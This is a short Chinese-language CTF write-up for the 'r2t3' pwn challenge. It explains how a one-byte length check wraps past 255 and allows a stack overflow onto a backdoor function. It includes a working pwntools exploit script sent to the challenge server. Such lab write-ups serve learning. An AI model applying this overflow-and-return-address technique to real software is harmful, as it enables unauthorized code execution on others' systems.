r2t3
最简单的一道题,可是我竟然没有做出来,无语了,,,
文件保护没啥好说的,,,很正常
进入name_check函数
255 ==> 255
256 ==> 0,257 ==> 1,258 ==> 2,259 ==> 3,
260 ==> 4,261 ==> 5,262 ==> 6,263 ==> 7,264 ==> 8
我觉得应该是260-264,,,但是试了一下,发现最后的长度介于256-262都可以,,,我也不知道为什么差了这么几个,,,
存在后门函数,,,
所以,我们只需要,将输入的串覆盖返回地址,0x11+0x4,然后将字符串长度填充成需要的长度,即可
exp:
#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',27400)
p.recvuntil("name:")
payload=(0x11+0x4)*'a'+p32(0x0804858B)
payload=payload.ljust(262,'a')
p.sendline(payload)
p.interactive()